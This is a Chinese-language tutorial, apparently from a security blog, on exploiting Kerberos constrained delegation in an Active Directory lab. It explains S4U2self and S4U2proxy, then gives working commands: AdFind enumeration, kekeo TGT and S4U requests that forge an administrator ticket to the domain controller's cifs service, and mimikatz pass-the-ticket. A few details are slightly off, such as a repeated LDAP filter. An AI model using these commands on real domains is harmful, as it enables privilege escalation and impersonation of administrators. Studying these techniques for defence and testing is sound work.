上文说到非约束委派，本文来说约束委派。
概述
因为非约束委派的不安全性，约束委派应运而生。在2003之后微软引入了非约束委派，对Kerberos引入S4U，包含了两个子协议S4U2self、S4U2proxy。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST)，S4U2proxy可以以用户的名义请求其它服务的ST，约束委派就是限制了S4U2proxy扩展的范围。
具体过程是收到用户的请求之后，首先代表用户获得针对服务自身的可转发的kerberos服务票据(S4U2SELF)，拿着这个票据向KDC请求访问特定服务的可转发的TGS(S4U2PROXY)，并且代表用户访问特定服务，而且只能访问该特定服务。
来看下实际的利用
利用
先配置约束委派环境。新建一个sql用户，并且加上spn表示其为服务用户。
setspn -A MSSQLSvc/DM.test.local:1433 sql
加上spn之后委派的选项卡才会出现，因为只有服务账户和计算机账户才可以被委派。
在这里配置上dc的cifs可以被sql用户所委派。需要注意的是使用任何身份验证协议。
查找约束委派的用户
AdFind.exe -b dc=test,dc=local -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" -dn
查找约束委派的主机
(&(samAccountType=805306368)(msds-allowedtodelegateto=*))
约束委派需要知道sql服务账户的密码或hash，此时在DM机器中使用kekeo申请tgt。
tgt::ask /user:sql /domain:test.local /password:test123!@#
使用该tgt通过s4u伪造administrator@test.local去访问dc的cifs服务。
tgs::s4u /tgt:TGT_sql@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi /user:administrator /service:cifs/dc.test.local
生成了两个tgs
通过mimikatz使用cifs的tgs票据进行ptt
实战中的利用需要知道配置了委派用户的密码或hash。